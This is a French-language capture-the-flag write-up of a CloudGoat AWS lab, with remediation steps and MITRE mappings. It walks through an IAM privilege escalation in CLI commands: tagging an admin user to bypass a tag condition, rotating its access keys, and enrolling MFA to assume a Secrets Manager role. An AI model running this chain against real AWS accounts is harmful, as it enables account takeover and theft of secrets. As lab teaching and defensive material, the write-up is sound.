NEW 2026-05-10 [cloudgoat] [aws] [iam] [privesc] [key-rotation] [mfa] [secrets-manager] [cloud-pentest] [write-up] 7 min read

CloudGoat > IAM Privesc by Key Rotation : le manager tagger

Un manager qui peut tagger des users et créer des access keys. Une condition sur un tag. Une rotation de clé sur le mauvais compte. C'est tout ce qu'il faut pour atteindre Secrets Manager.

Un manager qui peut tagger des users et créer des access keys sur ceux qui ont le bon tag. Une condition qui semblait protéger. Un admin qui pouvait assumer un rôle vers Secrets Manager. La chaîne est courte. Elle n’était pas évidente.

Ce qu’on apprend ici : comment une combinaison de permissions IAM apparemment anodines peut offrir un chemin de privesc complet, avec un bonus MFA à contourner en route.


Le point de départ

CloudGoat fournit des credentials pour un user manager. On configure le profil et on vérifie qui on est :

aws configure --profile rota
aws sts get-caller-identity --profile rota
{
  "UserId": "AIDA************",
  "Account": "************",
  "Arn": "arn:aws:iam::************:user/manager_cgidbu2bsgohg4"
}

On sait qui on est. On sait pas encore ce qu’on peut faire.

aws iam list-attached-user-policies --user-name manager_cgidbu2bsgohg4 --profile rota
{
  "AttachedPolicies": [{
    "PolicyName": "IAMReadOnlyAccess",
    "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
  }]
}

IAMReadOnlyAccess. Ça donne l’accès en lecture à toute la configuration IAM du compte. Pas anodin.

Énumération

Avec IAMReadOnlyAccess on peut tout lire : users, roles, policies. On commence par les users :

aws iam list-users --profile rota

Trois users CloudGoat ressortent : manager, developer, admin. Le nom admin est intéressant. On regarde ses policies attachées :

aws iam list-attached-user-policies --user-name admin_cgidbu2bsgohg4 --profile rota

Résultat : IAMReadOnlyAccess uniquement. Décevant. Mais on vérifie aussi les inline policies, c’est différent :

aws iam list-user-policies --user-name admin_cgidbu2bsgohg4 --profile rota
{ "PolicyNames": ["AssumeRoles"] }

Voilà quelque chose. On lit le contenu :

aws iam get-user-policy --user-name admin_cgidbu2bsgohg4 --policy-name AssumeRoles --profile rota
{
  "Action": "sts:AssumeRole",
  "Effect": "Allow",
  "Resource": "arn:aws:iam::************:role/cg_secretsmanager_cgidbu2bsgohg4"
}

admin peut assumer un rôle vers Secrets Manager. Le nom du scénario est privesc_by_key_rotation. La direction devient claire : si on peut créer des access keys pour admin, on prend son identité et on assume ce rôle.

On regarde les inline policies de manager :

aws iam list-user-policies --user-name manager_cgidbu2bsgohg4 --profile rota
{ "PolicyNames": ["SelfManageAccess", "TagResources"] }

Deux policies. On les lit toutes les deux.

TagResources en premier :

{
  "Action": ["iam:TagUser", "iam:TagRole", "iam:TagPolicy", "iam:UntagUser", "..."],
  "Effect": "Allow",
  "Resource": "*"
}

manager peut tagger n’importe quelle ressource IAM. Sans condition.

SelfManageAccess ensuite :

{
  "Action": ["iam:CreateAccessKey", "iam:DeleteAccessKey", "iam:UpdateAccessKey", "..."],
  "Effect": "Allow",
  "Condition": {
    "StringEquals": { "aws:ResourceTag/developer": "true" }
  },
  "Resource": "arn:aws:iam::************:user/*"
}

iam:CreateAccessKey sur tous les users… mais seulement ceux taggés developer: true.

La combinaison est là. manager peut tagger n’importe qui, et créer des clés sur les users taggés developer. Du coup il peut se créer un accès sur admin en deux étapes.

Leçon : iam:TagUser sur Resource: * sans condition est une permission dangereuse dès qu’une autre policy utilise des tags comme condition de sécurité. Le tag devient un levier de bypass, pas un contrôle.

Phase attaque

Étape 1 : tagger admin

aws iam tag-user \
  --user-name admin_cgidbu2bsgohg4 \
  --tags Key=developer,Value=true \
  --profile rota

Pas d’erreur. Succès.

(J’avais d’abord essayé aws iam create-tag qui n’existe pas. La bonne commande c’est tag-user.)

Étape 2 : créer des access keys pour admin

aws iam create-access-key --user-name admin_cgidbu2bsgohg4 --profile rota
An error occurred (LimitExceeded): Cannot exceed quota for AccessKeysPerUser: 2

admin a déjà deux clés actives. Le quota AWS est deux par user. On en supprime une :

aws iam list-access-keys --user-name admin_cgidbu2bsgohg4 --profile rota
aws iam delete-access-key \
  --user-name admin_cgidbu2bsgohg4 \
  --access-key-id AKIA************ \
  --profile rota
aws iam create-access-key --user-name admin_cgidbu2bsgohg4 --profile rota
{
  "AccessKey": {
    "UserName": "admin_cgidbu2bsgohg4",
    "AccessKeyId": "AKIA************",
    "SecretAccessKey": "************************************",
    "Status": "Active"
  }
}

On configure le profil admin et on vérifie l’identité :

aws sts get-caller-identity --profile admin
{ "Arn": "arn:aws:iam::************:user/admin_cgidbu2bsgohg4" }

On est admin.

Leçon : iam:CreateAccessKey sur Resource: * est une permission critique. Pas besoin d’exploit technique. Juste un tag et une commande CLI, et on génère des credentials pour n’importe quel user du compte.

Étape 3 : assumer le rôle

aws sts assume-role \
  --role-arn arn:aws:iam::************:role/cg_secretsmanager_cgidbu2bsgohg4 \
  --role-session-name secretsession \
  --profile admin
AccessDenied: User is not authorized to perform: sts:AssumeRole

Étrange. La policy AssumeRoles sur admin autorise explicitement cette action. On lit la trust policy du rôle :

aws iam get-role --role-name cg_secretsmanager_cgidbu2bsgohg4 --profile rota
{
  "Condition": {
    "Bool": { "aws:MultiFactorAuthPresent": "true" }
  }
}

Le rôle n’accepte les AssumeRole qu’avec MFA actif. Pas de session MFA, pas d’accès. C’est là que ça devient intéressant.

Étape 4 : ajouter le MFA à admin

Setup MFA via QR code sur le terminal

On a iam:CreateVirtualMFADevice dans SelfManageAccess. Mais avec quel profil ?

Premier essai avec admin :

AccessDenied: no identity-based policy allows the iam:CreateVirtualMFADevice action

Logique. La permission est sur manager, pas sur admin. On bascule sur rota :

aws iam create-virtual-mfa-device \
  --virtual-mfa-device-name admin-mfa \
  --outfile /tmp/admin-mfa.png \
  --bootstrap-method QRCodePNG \
  --profile rota
{ "VirtualMFADevice": { "SerialNumber": "arn:aws:iam::************:mfa/admin-mfa" } }

On scanne le QR code avec une app TOTP, on active le device sur admin avec deux codes consécutifs :

aws iam enable-mfa-device \
  --user-name admin_cgidbu2bsgohg4 \
  --serial-number arn:aws:iam::************:mfa/admin-mfa \
  --authentication-code1 ****** \
  --authentication-code2 ****** \
  --profile rota

Succès.

Étape 5 : assume-role avec MFA

aws sts assume-role \
  --role-arn arn:aws:iam::************:role/cg_secretsmanager_cgidbu2bsgohg4 \
  --role-session-name secretsession \
  --serial-number arn:aws:iam::************:mfa/admin-mfa \
  --token-code ****** \
  --profile admin

Cette fois les credentials temporaires arrivent. On configure le profil secret avec l’AccessKeyId, SecretAccessKey et SessionToken, puis :

aws sts get-caller-identity --profile secret
{ "Arn": "arn:aws:sts::************:assumed-role/cg_secretsmanager_cgidbu2bsgohg4/secretsession" }

On est sur le rôle.

Étape 6 : le flag

aws secretsmanager list-secrets --profile secret --region us-east-1
aws secretsmanager get-secret-value \
  --secret-id cg_secret_cgidbu2bsgohg4 \
  --profile secret --region us-east-1
{
  "SecretString": "flag{14m_PERM15510N5_4Re_5C4R_23ac61bcaf9282fa9575bbcb6243d9a1ff9aa76dc761a07a567225636a683d18}"
}

Flag capturé.

Chaîne d’attaque

Schéma de la chaîne d’attaque iam_privesc_by_key_rotation

manager (IAMReadOnlyAccess + SelfManageAccess + TagResources)
  |
  |-- iam:TagUser → admin tagué developer:true
  |
  |-- iam:DeleteAccessKey → rotation forcée sur admin
  |-- iam:CreateAccessKey → credentials admin
  |
  |-- iam:CreateVirtualMFADevice (via rota) → MFA device créé
  |-- iam:EnableMFADevice (via rota) → MFA activé sur admin
  |
  |-- sts:AssumeRole + MFA → rôle cg_secretsmanager assumé
  |
  --> secretsmanager:GetSecretValue → FLAG

Remédiation

Vuln 1 : TagResources sans restriction

manager pouvait tagger n’importe quel user, ce qui lui permettait de contourner la condition tag-based de SelfManageAccess.

Fix : supprimer la policy TagResources entièrement.

aws iam delete-user-policy \
  --user-name manager_cgidbu2bsgohg4 \
  --policy-name TagResources \
  --profile cloudgoat

Vérification :

aws iam tag-user \
  --user-name admin_cgidbu2bsgohg4 \
  --tags Key=developer,Value=true \
  --profile rota
# AccessDenied: no identity-based policy allows the iam:TagUser action

Bloqué.

Vuln 2 : CreateAccessKey sur d’autres users

Même sans les tags, manager pouvait créer et supprimer des clés sur d’autres comptes. C’est une violation du principe du moindre privilège.

Fix : retirer iam:CreateAccessKey et iam:DeleteAccessKey de SelfManageAccess.

aws iam put-user-policy \
  --user-name manager_cgidbu2bsgohg4 \
  --policy-name SelfManageAccess \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Sid": "SelfManageAccess",
        "Effect": "Allow",
        "Action": [
          "iam:DeactivateMFADevice",
          "iam:GetMFADevice",
          "iam:EnableMFADevice",
          "iam:ResyncMFADevice",
          "iam:UpdateAccessKey"
        ],
        "Condition": {
          "StringEquals": { "aws:ResourceTag/developer": "true" }
        },
        "Resource": [
          "arn:aws:iam::************:user/*",
          "arn:aws:iam::************:mfa/*"
        ]
      },
      {
        "Sid": "CreateMFA",
        "Effect": "Allow",
        "Action": ["iam:DeleteVirtualMFADevice", "iam:CreateVirtualMFADevice"],
        "Resource": "arn:aws:iam::************:mfa/*"
      }
    ]
  }' \
  --profile cloudgoat

Vérification :

aws iam create-access-key --user-name admin_cgidbu2bsgohg4 --profile rota
# AccessDenied: no identity-based policy allows the iam:CreateAccessKey action

Bloqué.

Vuln 3 : AssumeRoles sur admin

admin pouvait assumer un rôle vers Secrets Manager. Un user avec IAMReadOnlyAccess n’a aucune raison d’avoir ce privilège.

Fix : supprimer la policy inline AssumeRoles sur admin.

aws iam delete-user-policy \
  --user-name admin_cgidbu2bsgohg4 \
  --policy-name AssumeRoles \
  --profile cloudgoat

Vérification :

aws sts assume-role \
  --role-arn arn:aws:iam::************:role/cg_secretsmanager_cgidbu2bsgohg4 \
  --role-session-name test \
  --serial-number arn:aws:iam::************:mfa/admin-mfa \
  --token-code ****** \
  --profile admin
# AccessDenied: User is not authorized to perform: sts:AssumeRole

Bloqué.

Bilan

VulnérabilitéImpactRemédiation
iam:TagUser sans condition sur Resource: *Contournement de toute condition basée sur les tagsSupprimer TagResources ou restreindre à des ressources spécifiques
iam:CreateAccessKey + iam:DeleteAccessKey sur d’autres usersGénération de credentials pour n’importe quel compte du tenantRetirer ces permissions de SelfManageAccess
sts:AssumeRole sur un rôle Secrets Manager pour un user read-onlyEscalade vers un accès aux secrets de productionSupprimer la policy AssumeRoles, appliquer le moindre privilège

Encore une fois chaque permission prise isolément semble défendable. manager qui gère des tags ? Logique. manager qui crée des clés pour les users developer ? Ok. admin qui peut assumer un rôle applicatif ? Pourquoi pas.

C’est la combinaison qui la fout mal. Et c’est exactement ce qu’un scanner automatique rate, là où un pentest manuel trouve.

La condition tag-based était censée être le garde-fou. Mais elle ne vaut rien si celui qui applique les conditions peut aussi modifier les tags.

MITRE ATT&CK

TechniqueIDDescription
Valid AccountsT1078Credentials manager fournis comme point d’entrée
Account ManipulationT1098.001Création de nouvelles access keys sur un autre user
Abuse Elevation Control MechanismT1548Assume-role avec MFA pour accéder à un rôle privilégié
Unsecured CredentialsT1552Secret stocké dans Secrets Manager, accessible via rôle mal configuré
GIF de fin de write-up adrius.blog
// fin du write-up · adrius@blog:~$